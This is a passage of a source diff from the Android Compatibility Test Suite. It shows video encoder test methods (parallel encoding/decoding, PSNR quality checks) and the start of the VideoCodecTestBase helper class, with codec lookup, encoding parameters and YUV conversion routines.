+
+     /**
+      * Check if encoder and decoder can run simultaneously on different threads.
+      *
+      * Encodes and decodes 9 seconds of raw stream sequentially in CBR mode,
+      * and then run parallel encoding and decoding of the same streams.
+      * Compares average bitrate and PSNR for sequential and parallel runs.
+      */
+     private void internalTestParallelEncodingAndDecoding(String codecName, String codecMimeType)
+             throws Exception {
+         // check for encoder up front, as by the time we detect lack of
+         // encoder support, we may have already started decoding.
+         MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+         MediaFormat format = MediaFormat.createVideoFormat(codecMimeType, WIDTH, HEIGHT);
+         if (mcl.findEncoderForFormat(format) == null) {
+             Log.i(TAG, "SKIPPING testParallelEncodingAndDecoding(): no suitable encoder found");
+             return;
+         }
+
+         int encodeSeconds = 9;
+         final int[] bitrate = new int[1];
+         final double[] psnr = new double[1];
+         final Exception[] exceptionEncoder = new Exception[1];
+         final Exception[] exceptionDecoder = new Exception[1];
+         final EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+                 INPUT_YUV,
+                 ENCODED_IVF_BASE,
+                 codecName,
+                 codecMimeType,
+                 encodeSeconds,
+                 WIDTH,
+                 HEIGHT,
+                 FPS,
+                 VIDEO_ControlRateConstant,
+                 BITRATE,
+                 true);
+         final String inputIvfFilename = params.outputIvfFilename;
+         final ArrayList<ByteBuffer> codecConfigs = new ArrayList<>();
+
+         Runnable runEncoder = new Runnable() {
+             public void run() {
+                 try {
+                     ArrayList<MediaCodec.BufferInfo> bufInfo;
+                     if (codecConfigs.isEmpty()) {
+                         VideoEncodeOutput videoEncodeOutput = encode(params, codecConfigs);
+                         bufInfo = videoEncodeOutput.bufferInfo;
+                     } else {
+                         VideoEncodeOutput videoEncodeOutput = encode(params);
+                         bufInfo = videoEncodeOutput.bufferInfo;
+                     }
+                     VideoEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
+                     bitrate[0] = statistics.mAverageBitrate;
+                 } catch (Exception e) {
+                     Log.e(TAG, "Encoder error: " + e.toString());
+                     exceptionEncoder[0] = e;
+                 }
+             }
+         };
+         Runnable runDecoder = new Runnable() {
+             public void run() {
+                 try {
+                     decode(inputIvfFilename, OUTPUT_YUV, codecMimeType, FPS, codecConfigs);
+                     VideoDecodingStatistics statistics = computeDecodingStatistics(
+                            params.inputYuvFilename, "football_qvga.yuv", OUTPUT_YUV,
+                            params.frameWidth, params.frameHeight);
+                     psnr[0] = statistics.mAveragePSNR;
+                 } catch (Exception e) {
+                     Log.e(TAG, "Decoder error: " + e.toString());
+                     exceptionDecoder[0] = e;
+                 }
+             }
+         };
+
+         // Sequential encoding and decoding.
+         runEncoder.run();
+         if (exceptionEncoder[0] != null) {
+             throw exceptionEncoder[0];
+         }
+         int referenceBitrate = bitrate[0];
+         runDecoder.run();
+         if (exceptionDecoder[0] != null) {
+             throw exceptionDecoder[0];
+         }
+         double referencePsnr = psnr[0];
+
+         // Parallel encoding and decoding.
+         params.outputIvfFilename = SDCARD_DIR + File.separator + ENCODED_IVF_BASE + "_copy.ivf";
+         Thread threadEncoder = new Thread(runEncoder);
+         Thread threadDecoder = new Thread(runDecoder);
+         threadEncoder.start();
+         threadDecoder.start();
+         threadEncoder.join();
+         threadDecoder.join();
+         if (exceptionEncoder[0] != null) {
+             throw exceptionEncoder[0];
+         }
+         if (exceptionDecoder[0] != null) {
+             throw exceptionDecoder[0];
+         }
+
+         // Compare bitrates and PSNRs for sequential and parallel cases.
+         Log.d(TAG, "Sequential bitrate: " + referenceBitrate + ". PSNR: " + referencePsnr);
+         Log.d(TAG, "Parallel bitrate: " + bitrate[0] + ". PSNR: " + psnr[0]);
+         assertEquals("Bitrate for sequenatial encoding" + referenceBitrate +
+                 " is different from parallel encoding " + bitrate[0],
+                 referenceBitrate, bitrate[0], MAX_BITRATE_VARIATION * referenceBitrate);
+         assertEquals("PSNR for sequenatial encoding" + referencePsnr +
+                 " is different from parallel encoding " + psnr[0],
+                 referencePsnr, psnr[0], MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE);
+     }
+
+
+    /**
+     * Check the encoder quality for various bitrates by calculating PSNR
+     *
+     * Run the the encoder for 9 seconds for each bitrate and calculate PSNR
+     * for each encoded stream.
+     * Video streams with higher bitrates should have higher PSNRs.
+     * Also compares average and minimum PSNR of codec with PSNR values of reference Google codec.
+     */
+    private void internalTestEncoderQuality(String codecName, String codecMimeType, int bitRateMode)
+            throws Exception {
+        int encodeSeconds = 9;      // Encoding sequence duration in seconds for each bitrate.
+        double[] psnrPlatformCodecAverage = new double[TEST_BITRATES_SET.length];
+        double[] psnrPlatformCodecMin = new double[TEST_BITRATES_SET.length];
+        boolean[] completed = new boolean[TEST_BITRATES_SET.length];
+        boolean skipped = true;
+
+        // Run platform specific encoder for different bitrates
+        // and compare PSNR of codec with PSNR of reference Google codec.
+        for (int i = 0; i < TEST_BITRATES_SET.length; i++) {
+            EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+                    INPUT_YUV,
+                    ENCODED_IVF_BASE,
+                    codecName,
+                    codecMimeType,
+                    encodeSeconds,
+                    WIDTH,
+                    HEIGHT,
+                    FPS,
+                    bitRateMode,
+                    TEST_BITRATES_SET[i],
+                    true);
+            ArrayList<ByteBuffer> codecConfigs = new ArrayList<>();
+            if (encode(params, codecConfigs) == null) {
+                // parameters not supported, try other bitrates
+                completed[i] = false;
+                continue;
+            }
+            completed[i] = true;
+            skipped = false;
+
+            decode(params.outputIvfFilename, OUTPUT_YUV, codecMimeType, FPS, codecConfigs);
+            VideoDecodingStatistics statistics = computeDecodingStatistics(
+                    params.inputYuvFilename, "football_qvga.yuv", OUTPUT_YUV,
+                    params.frameWidth, params.frameHeight);
+            psnrPlatformCodecAverage[i] = statistics.mAveragePSNR;
+            psnrPlatformCodecMin[i] = statistics.mMinimumPSNR;
+        }
+
+        if (skipped) {
+            Log.i(TAG, "SKIPPING testEncoderQuality(): no bitrates supported");
+            return;
+        }
+
+        // First do a sanity check - higher bitrates should results in higher PSNR.
+        for (int i = 1; i < TEST_BITRATES_SET.length ; i++) {
+            if (!completed[i]) {
+                continue;
+            }
+            for (int j = 0; j < i; j++) {
+                if (!completed[j]) {
+                    continue;
+                }
+                double differenceBitrate = TEST_BITRATES_SET[i] - TEST_BITRATES_SET[j];
+                double differencePSNR = psnrPlatformCodecAverage[i] - psnrPlatformCodecAverage[j];
+                if (differenceBitrate * differencePSNR < 0) {
+                    throw new RuntimeException("Target bitrates: " +
+                            TEST_BITRATES_SET[j] + ", " + TEST_BITRATES_SET[i] +
+                            ". Actual PSNRs: "
+                            + psnrPlatformCodecAverage[j] + ", " + psnrPlatformCodecAverage[i]);
+                }
+            }
+        }
+
+        // Then compare average and minimum PSNR of platform codec with reference Google codec -
+        // average PSNR for platform codec should be no more than 2 dB less than reference PSNR
+        // and minumum PSNR - no more than 4 dB less than reference minimum PSNR.
+        // These PSNR difference numbers are arbitrary for now, will need further estimation
+        // when more devices with HW video codec will appear.
+        for (int i = 0; i < TEST_BITRATES_SET.length ; i++) {
+            if (!completed[i]) {
+                continue;
+            }
+
+            Log.d(TAG, "Bitrate " + TEST_BITRATES_SET[i]);
+            Log.d(TAG, "Reference: Average: " + REFERENCE_AVERAGE_PSNR[i] + ". Minimum: " +
+                    REFERENCE_MINIMUM_PSNR[i]);
+            Log.d(TAG, "Platform:  Average: " + psnrPlatformCodecAverage[i] + ". Minimum: " +
+                    psnrPlatformCodecMin[i]);
+            if (psnrPlatformCodecAverage[i] < REFERENCE_AVERAGE_PSNR[i] -
+                    MAX_AVERAGE_PSNR_DIFFERENCE) {
+                throw new RuntimeException("Low average PSNR " + psnrPlatformCodecAverage[i] +
+                        " comparing to reference PSNR " + REFERENCE_AVERAGE_PSNR[i] +
+                        " for bitrate " + TEST_BITRATES_SET[i]);
+            }
+            if (psnrPlatformCodecMin[i] < REFERENCE_MINIMUM_PSNR[i] -
+                    MAX_MINIMUM_PSNR_DIFFERENCE) {
+                throw new RuntimeException("Low minimum PSNR " + psnrPlatformCodecMin[i] +
+                        " comparing to reference PSNR " + REFERENCE_MINIMUM_PSNR[i] +
+                        " for bitrate " + TEST_BITRATES_SET[i]);
+            }
+        }
+    }
+
+    @Test
+    public void testBasic() throws Exception {
+        internalTestBasic(mCodecName, mCodecMimeType, mBitRateMode);
+    }
+
+    @Test
+    public void testAsyncEncode() throws Exception {
+        internalTestAsyncEncoding(mCodecName, mCodecMimeType, mBitRateMode);
+    }
+
+    @Test
+    public void testSyncFrame() throws Exception {
+        internalTestSyncFrame(mCodecName, mCodecMimeType, mBitRateMode, false);
+    }
+
+    @Test
+    public void testSyncFrameNdk() throws Exception {
+        internalTestSyncFrame(mCodecName, mCodecMimeType, mBitRateMode, true);
+    }
+
+    @Test
+    public void testDynamicBitrateChange() throws Exception {
+        internalTestDynamicBitrateChange(mCodecName, mCodecMimeType, mBitRateMode, false);
+    }
+
+    @Test
+    public void testDynamicBitrateChangeNdk() throws Exception {
+        internalTestDynamicBitrateChange(mCodecName, mCodecMimeType, mBitRateMode, true);
+    }
+
+    @Test
+    public void testEncoderQuality() throws Exception {
+        internalTestEncoderQuality(mCodecName, mCodecMimeType, mBitRateMode);
+    }
+
+    @Test
+    public void testParallelEncodingAndDecoding() throws Exception {
+        Assume.assumeTrue("Parallel Encode Decode test is run only for VBR mode",
+                mBitRateMode == VIDEO_ControlRateVariable);
+        internalTestParallelEncodingAndDecoding(mCodecName, mCodecMimeType);
+    }
+}
+
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/VideoCodecTestBase.java b/tests/tests/media/codec/src/android/media/codec/cts/VideoCodecTestBase.java
new file mode 100644
index 0000000..b4d4b31
--- /dev/null
+++ b/tests/tests/media/codec/src/android/media/codec/cts/VideoCodecTestBase.java
@@ -0,0 +1,2192 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.codec.cts;
+
+import android.media.MediaCodec;
+import android.media.MediaCodec.CodecException;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecList;
+import android.media.MediaFormat;
+import android.media.cts.MediaCodecWrapper;
+import android.media.cts.NdkMediaCodec;
+import android.media.cts.Preconditions;
+import android.media.cts.SdkMediaCodec;
+import android.os.Bundle;
+import android.os.Environment;
+import android.os.Handler;
+import android.os.Looper;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Locale;
+import java.util.concurrent.Callable;
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * Verification test for video encoder and decoder.
+ *
+ * A raw yv12 stream is encoded at various settings and written to an IVF
+ * file. Encoded stream bitrate and key frame interval are checked against target values.
+ * The stream is later decoded by the decoder to verify frames are decodable and to
+ * calculate PSNR values for various bitrates.
+ */
+@AppModeFull(reason = "Instant apps cannot access the SD card")
+public class VideoCodecTestBase {
+
+    protected static final String TAG = "VideoCodecTestBase";
+    protected static final String VP8_MIME = MediaFormat.MIMETYPE_VIDEO_VP8;
+    protected static final String VP9_MIME = MediaFormat.MIMETYPE_VIDEO_VP9;
+    protected static final String AVC_MIME = MediaFormat.MIMETYPE_VIDEO_AVC;
+    protected static final String HEVC_MIME = MediaFormat.MIMETYPE_VIDEO_HEVC;
+    protected static final String SDCARD_DIR =
+            Environment.getExternalStorageDirectory().getAbsolutePath();
+    static final String mInpPrefix = WorkDir.getMediaDirString();
+
+    // Default timeout for MediaCodec buffer dequeue - 200 ms.
+    protected static final long DEFAULT_DEQUEUE_TIMEOUT_US = 200000;
+    // Default timeout for MediaEncoderAsync - 30 sec.
+    protected static final long DEFAULT_ENCODE_TIMEOUT_MS = 30000;
+    // Default sync frame interval in frames
+    private static final int SYNC_FRAME_INTERVAL = 30;
+    // Video bitrate type - should be set to OMX_Video_ControlRateConstant from OMX_Video.h
+    protected static final int VIDEO_ControlRateVariable = 1;
+    protected static final int VIDEO_ControlRateConstant = 2;
+    // NV12 color format supported by QCOM codec, but not declared in MediaCodec -
+    // see /hardware/qcom/media/mm-core/inc/OMX_QCOMExtns.h
+    private static final int COLOR_QCOM_FORMATYUV420PackedSemiPlanar32m = 0x7FA30C04;
+    // Allowable color formats supported by codec - in order of preference.
+    private static final int[] mSupportedColorList = {
+            CodecCapabilities.COLOR_FormatYUV420Planar,
+            CodecCapabilities.COLOR_FormatYUV420SemiPlanar,
+            CodecCapabilities.COLOR_QCOM_FormatYUV420SemiPlanar,
+            COLOR_QCOM_FORMATYUV420PackedSemiPlanar32m
+    };
+    // Scaled image cache list - contains scale factors, for which up-scaled frames
+    // were calculated and were written to yuv file.
+    ArrayList<Integer> mScaledImages = new ArrayList<Integer>();
+
+    /**
+     *  Video codec properties generated by getVideoCodecProperties() function.
+     */
+    private class CodecProperties {
+        CodecProperties(String codecName, int colorFormat) {
+            this.codecName = codecName;
+            this.colorFormat = colorFormat;
+        }
+        public final String codecName; // OpenMax component name for Video codec.
+        public final int colorFormat;  // Color format supported by codec.
+    }
+
+    /**
+     * Function to find Video codec.
+     *
+     * Iterates through the list of available codecs and tries to find
+     * Video codec, which can support either YUV420 planar or NV12 color formats.
+     *
+     * @param isEncoder     Flag if encoder is requested.
+     */
+    private CodecProperties getVideoCodecProperties(boolean isEncoder, MediaFormat format)
+            throws Exception {
+        CodecProperties codecProperties = null;
+        String mime = format.getString(MediaFormat.KEY_MIME);
+
+        // Loop through the list of codec components in case platform specific codec
+        // is requested.
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        for (MediaCodecInfo codecInfo : mcl.getCodecInfos()) {
+            if (isEncoder != codecInfo.isEncoder()) {
+                continue;
+            }
+            Log.v(TAG, codecInfo.getName());
+
+            for (String type : codecInfo.getSupportedTypes()) {
+                if (!type.equalsIgnoreCase(mime)) {
+                    continue;
+                }
+                CodecCapabilities capabilities = codecInfo.getCapabilitiesForType(type);
+                if (!capabilities.isFormatSupported(format)) {
+                    continue;
+                }
+
+                // Get candidate codec properties.
+                Log.v(TAG, "Found candidate codec " + codecInfo.getName());
+                for (int colorFormat: capabilities.colorFormats) {
+                    Log.v(TAG, "   Color: 0x" + Integer.toHexString(colorFormat));
+                }
+
+                // Check supported color formats.
+                for (int supportedColorFormat : mSupportedColorList) {
+                    for (int codecColorFormat : capabilities.colorFormats) {
+                        if (codecColorFormat == supportedColorFormat) {
+                            codecProperties = new CodecProperties(codecInfo.getName(),
+                                    codecColorFormat);
+                            Log.v(TAG, "Found target codec " + codecProperties.codecName +
+                                    ". Color: 0x" + Integer.toHexString(codecColorFormat));
+                            // return first vendor codec (hopefully HW) found
+                            if (codecInfo.isVendor()) {
+                                return codecProperties;
+                            }
+                        }
+                    }
+                }
+            }
+        }
+        if (codecProperties == null) {
+            Log.i(TAG, "no suitable " + (isEncoder ? "encoder " : "decoder ") + "found for " +
+                    format);
+        }
+        return codecProperties;
+    }
+
+    private CodecProperties getEncoderProperties(String codecName, MediaFormat format)
+            throws Exception {
+        assumeTrue("Media format " + format + " is not supported by " + codecName,
+                MediaUtils.supports(codecName, format));
+        CodecProperties codecProperties = null;
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        for (MediaCodecInfo codecInfo : mcl.getCodecInfos()) {
+            if (!codecInfo.isEncoder() || !codecName.equals(codecInfo.getName())) {
+                continue;
+            }
+            Log.v(TAG, codecInfo.getName());
+            String mime = format.getString(MediaFormat.KEY_MIME);
+            Log.d(TAG, "Name : " + codecInfo.getName() + " mime: " + mime);
+            CodecCapabilities capabilities = codecInfo.getCapabilitiesForType(mime);
+            for (int supportedColorFormat : mSupportedColorList) {
+                for (int codecColorFormat : capabilities.colorFormats) {
+                    if (codecColorFormat == supportedColorFormat) {
+                        codecProperties = new CodecProperties(codecInfo.getName(),
+                                codecColorFormat);
+                        Log.v(TAG, "Found target codec " + codecProperties.codecName +
+                                ". Color: 0x" + Integer.toHexString(codecColorFormat));
+                        return codecProperties;
+                    }
+                }
+            }
+        }
+        assumeTrue("Codec " + codecName + " doesn't support color YUV 420 color formats",
+                codecProperties != null);
+        return codecProperties;
+    }
+
+    /**
+     * Parameters for encoded video stream.
+     */
+    protected class EncoderOutputStreamParameters {
+        // Name of raw YUV420 input file. When the value of this parameter
+        // is set to null input file descriptor from inputResource parameter
+        // is used instead.
+        public String inputYuvFilename;
+        // Name of scaled YUV420 input file.
+        public String scaledYuvFilename;
+        // File descriptor for the raw input file (YUV420). Used only if
+        // inputYuvFilename parameter is null.
+        public String inputResource;
+        // Name of the IVF file to write encoded bitsream
+        public String outputIvfFilename;
+        // Mime Type of the Encoded content.
+        public String codecMimeType;
+        // Component Name.
+        public String codecName;
+        // Number of frames to encode.
+        int frameCount;
+        // Frame rate of input file in frames per second.
+        int frameRate;
+        // Encoded frame width.
+        public int frameWidth;
+        // Encoded frame height.
+        public int frameHeight;
+        // Encoding bitrate array in bits/second for every frame. If array length
+        // is shorter than the total number of frames, the last value is re-used for
+        // all remaining frames. For constant bitrate encoding single element
+        // array can be used with first element set to target bitrate value.
+        public int[] bitrateSet;
+        // Encoding bitrate type - VBR or CBR
+        public int bitrateType;
+        // Number of temporal layers
+        public int temporalLayers;
+        // Desired key frame interval - codec is asked to generate key frames
+        // at a period defined by this parameter.
+        public int syncFrameInterval;
+        // Optional parameter - forced key frame interval. Used to
+        // explicitly request the codec to generate key frames using
+        // MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME parameter.
+        public int syncForceFrameInterval;
+        // Buffer timeout
+        long timeoutDequeue;
+        // Flag if encoder should run in Looper thread.
+        boolean runInLooperThread;
+        // Flag if use NdkMediaCodec
+        boolean useNdk;
+        // Encoding Statistics Level
+        // 0: None, 1: Average block QP and picture type of a frame
+        public int encodingStatisticsLevel;
+    }
+
+    /**
+     * Encoding Statistics for a whole sequence
+     */
+    protected class EncodingStatisticsInfo {
+        public float averageSeqQp = 0; // Average qp of a whole sequence,
+                                         // i.e. average of 'per-frame average block QP'
+        public int encodedFrames = 0; // # of encoded frames,
+                                       // i.e. # of average_block_qp is reported
+    }
+
+    /**
+     * Encoding Statistics for a whole sequence
+     */
+    protected class VideoEncodeOutput{
+        public ArrayList<MediaCodec.BufferInfo> bufferInfo;
+        public EncodingStatisticsInfo encStat;
+
+        VideoEncodeOutput(
+                ArrayList<MediaCodec.BufferInfo> bufferInfo,
+                EncodingStatisticsInfo encStat) {
+            this.bufferInfo = bufferInfo;
+            this.encStat = encStat;
+        }
+    }
+
+    private String getCodecSuffix(String codecMimeType) {
+        switch(codecMimeType) {
+        case VP8_MIME:
+            return "vp8";
+        case VP9_MIME:
+            return "vp9";
+        case AVC_MIME:
+            return "avc";
+        case HEVC_MIME:
+            return "hevc";
+        default:
+            Log.w(TAG, "getCodecSuffix got an unexpected codecMimeType.");
+        }
+        return "video";
+    }
+
+    /**
+     * Generates an array of default parameters for encoder output stream based on
+     * upscaling value.
+     */
+    protected ArrayList<EncoderOutputStreamParameters> getDefaultEncodingParameterList(
+            String inputYuvName,
+            String outputIvfBaseName,
+            String codecName,
+            String codecMimeType,
+            int encodeSeconds,
+            int[] resolutionScales,
+            int frameWidth,
+            int frameHeight,
+            int frameRate,
+            int bitrateMode,
+            int[] bitrates,
+            boolean syncEncoding) {
+        assertTrue(resolutionScales.length == bitrates.length);
+        int numCodecs = resolutionScales.length;
+        ArrayList<EncoderOutputStreamParameters> outputParameters =
+                new ArrayList<EncoderOutputStreamParameters>(numCodecs);
+        for (int i = 0; i < numCodecs; i++) {
+            EncoderOutputStreamParameters params = new EncoderOutputStreamParameters();
+            if (inputYuvName != null) {
+                params.inputYuvFilename = SDCARD_DIR + File.separator + inputYuvName;
+            } else {
+                params.inputYuvFilename = null;
+            }
+            params.scaledYuvFilename = SDCARD_DIR + File.separator +
+                    outputIvfBaseName + resolutionScales[i]+ ".yuv";
+            params.inputResource = "football_qvga.yuv";
+            params.codecMimeType = codecMimeType;
+            String codecSuffix = getCodecSuffix(codecMimeType);
+            params.outputIvfFilename = SDCARD_DIR + File.separator +
+                    outputIvfBaseName + resolutionScales[i] + "_" + codecSuffix + ".ivf";
+            params.codecName = codecName;
+            params.frameCount = encodeSeconds * frameRate;
+            params.frameRate = frameRate;
+            params.frameWidth = Math.min(frameWidth * resolutionScales[i], 1280);
+            params.frameHeight = Math.min(frameHeight * resolutionScales[i], 720);
+            params.bitrateSet = new int[1];
+            params.bitrateSet[0] = bitrates[i];
+            params.bitrateType = bitrateMode;
+            params.temporalLayers = 0;
+            params.syncFrameInterval = SYNC_FRAME_INTERVAL;
+            params.syncForceFrameInterval = 0;
+            if (syncEncoding) {
+                params.timeoutDequeue = DEFAULT_DEQUEUE_TIMEOUT_US;
+                params.runInLooperThread = false;
+            } else {
+                params.timeoutDequeue = 0;
+                params.runInLooperThread = true;
+            }
+            outputParameters.add(params);
+            params.encodingStatisticsLevel = MediaFormat.VIDEO_ENCODING_STATISTICS_LEVEL_NONE;
+        }
+        return outputParameters;
+    }
+
+    protected EncoderOutputStreamParameters getDefaultEncodingParameters(
+            String inputYuvName,
+            String outputIvfBaseName,
+            String codecName,
+            String codecMimeType,
+            int encodeSeconds,
+            int frameWidth,
+            int frameHeight,
+            int frameRate,
+            int bitrateMode,
+            int bitrate,
+            boolean syncEncoding) {
+        int[] scaleValues = { 1 };
+        int[] bitrates = { bitrate };
+        return getDefaultEncodingParameterList(
+                inputYuvName,
+                outputIvfBaseName,
+                codecName,
+                codecMimeType,
+                encodeSeconds,
+                scaleValues,
+                frameWidth,
+                frameHeight,
+                frameRate,
+                bitrateMode,
+                bitrates,
+                syncEncoding).get(0);
+    }
+
+    /**
+     * Converts (interleaves) YUV420 planar to NV12.
+     * Assumes packed, macroblock-aligned frame with no cropping
+     * (visible/coded row length == stride).
+     */
+    private static byte[] YUV420ToNV(int width, int height, byte[] yuv) {
+        byte[] nv = new byte[yuv.length];
+        // Y plane we just copy.
+        System.arraycopy(yuv, 0, nv, 0, width * height);
+
+        // U & V plane we interleave.
+        int u_offset = width * height;
+        int v_offset = u_offset + u_offset / 4;
+        int nv_offset = width * height;
+        for (int i = 0; i < width * height / 4; i++) {
+            nv[nv_offset++] = yuv[u_offset++];
+            nv[nv_offset++] = yuv[v_offset++];
+        }
+        return nv;
+    }
+
+    /**
+     * Converts (de-interleaves) NV12 to YUV420 planar.
+     * Stride may be greater than width, slice height may be greater than height.
+     */
+    private static byte[] NV12ToYUV420(int width, int height,
+            int stride, int sliceHeight, byte[] nv12) {
+        byte[] yuv = new byte[width * height * 3 / 2];
+
+        // Y plane we just copy.
+        for (int i = 0; i < height; i++) {
+            System.arraycopy(nv12, i * stride, yuv, i * width, width);
+        }
+
+        // U & V plane - de-interleave.
+        int u_offset = width * height;
+        int v_offset = u_offset + u_offset / 4;
+        int nv_offset;
+        for (int i = 0; i < height / 2; i++) {
+            nv_offset = stride * (sliceHeight + i);
+            for (int j = 0; j < width / 2; j++) {
+                yuv[u_offset++] = nv12[nv_offset++];
+                yuv[v_offset++] = nv12[nv_offset++];
+            }
+        }
+        return yuv;
+    }
+
+    /**
+     * Packs YUV420 frame by moving it to a smaller size buffer with stride and slice
+     * height equal to the crop window.
+     */
+    private static byte[] PackYUV420(int left, int top, int width, int height,
+            int stride, int sliceHeight, byte[] src) {
+        byte[] dst = new byte[width * height * 3 / 2];
+        // Y copy.
+        for (int i = 0; i < height; i++) {
+            System.arraycopy(src, (i + top) * stride + left, dst, i * width, width);
+        }
+        // U and V copy.
+        int u_src_offset = stride * sliceHeight;
+        int v_src_offset = u_src_offset + u_src_offset / 4;
+        int u_dst_offset = width * height;
+        int v_dst_offset = u_dst_offset + u_dst_offset / 4;
+        // Downsample and align to floor-2 for crop origin.
+        left /= 2;
+        top /= 2;
+        for (int i = 0; i < height / 2; i++) {
+            System.arraycopy(src, u_src_offset + (i + top) * (stride / 2) + left,
+                    dst, u_dst_offset + i * (width / 2), width / 2);
+            System.arraycopy(src, v_src_offset + (i + top) * (stride / 2) + left,
+                    dst, v_dst_offset + i * (width / 2), width / 2);
+        }
+        return dst;
+    }
+
+
+    private static void imageUpscale1To2(byte[] src, int srcByteOffset, int srcStride,
+            byte[] dst, int dstByteOffset, int dstWidth, int dstHeight) {
+        for (int i = 0; i < dstHeight/2 - 1; i++) {
+            int dstOffset0 = 2 * i * dstWidth + dstByteOffset;
+            int dstOffset1 = dstOffset0 + dstWidth;
+            int srcOffset0 = i * srcStride + srcByteOffset;
+            int srcOffset1 = srcOffset0 + srcStride;
+            int pixel00 = (int)src[srcOffset0++] & 0xff;
+            int pixel10 = (int)src[srcOffset1++] & 0xff;
+            for (int j = 0; j < dstWidth/2 - 1; j++) {
+                int pixel01 = (int)src[srcOffset0++] & 0xff;
+                int pixel11 = (int)src[srcOffset1++] & 0xff;
+                dst[dstOffset0++] = (byte)pixel00;
+                dst[dstOffset0++] = (byte)((pixel00 + pixel01 + 1) / 2);
+                dst[dstOffset1++] = (byte)((pixel00 + pixel10 + 1) / 2);
+                dst[dstOffset1++] = (byte)((pixel00 + pixel01 + pixel10 + pixel11 + 2) / 4);
+                pixel00 = pixel01;
+                pixel10 = pixel11;
+            }
+            // last column
+            dst[dstOffset0++] = (byte)pixel00;
+            dst[dstOffset0++] = (byte)pixel00;
+            dst[dstOffset1++] = (byte)((pixel00 + pixel10 + 1) / 2);
+            dst[dstOffset1++] = (byte)((pixel00 + pixel10 + 1) / 2);
+        }
+
+        // last row
+        int dstOffset0 = (dstHeight - 2) * dstWidth + dstByteOffset;
+        int dstOffset1 = dstOffset0 + dstWidth;
+        int srcOffset0 = (dstHeight/2 - 1) * srcStride + srcByteOffset;
+        int pixel00 = (int)src[srcOffset0++] & 0xff;
+        for (int j = 0; j < dstWidth/2 - 1; j++) {
+            int pixel01 = (int)src[srcOffset0++] & 0xff;
+            dst[dstOffset0++] = (byte)pixel00;
+            dst[dstOffset0++] = (byte)((pixel00 + pixel01 + 1) / 2);
+            dst[dstOffset1++] = (byte)pixel00;
+            dst[dstOffset1++] = (byte)((pixel00 + pixel01 + 1) / 2);
+            pixel00 = pixel01;
+        }
+        // the very last pixel - bottom right
+        dst[dstOffset0++] = (byte)pixel00;
+        dst[dstOffset0++] = (byte)pixel00;
+        dst[dstOffset1++] = (byte)pixel00;
+        dst[dstOffset1++] = (byte)pixel00;
+    }
+
+    /**
+    * Up-scale image.
+    * Scale factor is defined by source and destination width ratio.
+    * Only 1:2 and 1:4 up-scaling is supported for now.
+    * For 640x480 -> 1280x720 conversion only top 640x360 part of the original
+    * image is scaled.
+    */
+    private static byte[] imageScale(byte[] src, int srcWidth, int srcHeight,
+            int dstWidth, int dstHeight) throws Exception {
+        int srcYSize = srcWidth * srcHeight;
+        int dstYSize = dstWidth * dstHeight;
+        byte[] dst = null;
+        if (dstWidth == 2 * srcWidth && dstHeight <= 2 * srcHeight) {
+            // 1:2 upscale
+            dst = new byte[dstWidth * dstHeight * 3 / 2];
+            imageUpscale1To2(src, 0, srcWidth,
+                    dst, 0, dstWidth, dstHeight);                                 // Y
+            imageUpscale1To2(src, srcYSize, srcWidth / 2,
+                    dst, dstYSize, dstWidth / 2, dstHeight / 2);                  // U
+            imageUpscale1To2(src, srcYSize * 5 / 4, srcWidth / 2,
+                    dst, dstYSize * 5 / 4, dstWidth / 2, dstHeight / 2);          // V
+        } else if (dstWidth == 4 * srcWidth && dstHeight <= 4 * srcHeight) {
+            // 1:4 upscale - in two steps
+            int midWidth = 2 * srcWidth;
+            int midHeight = 2 * srcHeight;
+            byte[] midBuffer = imageScale(src, srcWidth, srcHeight, midWidth, midHeight);
+            dst = imageScale(midBuffer, midWidth, midHeight, dstWidth, dstHeight);
+
+        } else {
+            throw new RuntimeException("Can not find proper scaling function");
+        }
+
+        return dst;
+    }
+
+    private void cacheScaledImage(
+            String srcYuvFilename, String srcResource, int srcFrameWidth, int srcFrameHeight,
+            String dstYuvFilename, int dstFrameWidth, int dstFrameHeight) throws Exception {
+        InputStream srcStream = OpenFileOrResource(srcYuvFilename, srcResource);
+        FileOutputStream dstFile = new FileOutputStream(dstYuvFilename, false);
+        int srcFrameSize = srcFrameWidth * srcFrameHeight * 3 / 2;
+        byte[] srcFrame = new byte[srcFrameSize];
+        byte[] dstFrame = null;
+        Log.d(TAG, "Scale to " + dstFrameWidth + " x " + dstFrameHeight + ". -> " + dstYuvFilename);
+        while (true) {
+            int bytesRead = srcStream.read(srcFrame);
+            if (bytesRead != srcFrame.length) {
+                break;
+            }
+            if (dstFrameWidth == srcFrameWidth && dstFrameHeight == srcFrameHeight) {
+                dstFrame = srcFrame;
+            } else {
+                dstFrame = imageScale(srcFrame, srcFrameWidth, srcFrameHeight,
+                        dstFrameWidth, dstFrameHeight);
+            }
+            dstFile.write(dstFrame);
+        }
+        srcStream.close();
+        dstFile.close();
+    }
+
+
+    /**
+     * A basic check if an encoded stream is decodable.
+     *
+     * The most basic confirmation we can get about a frame
+     * being properly encoded is trying to decode it.
+     * (Especially in realtime mode encode output is non-
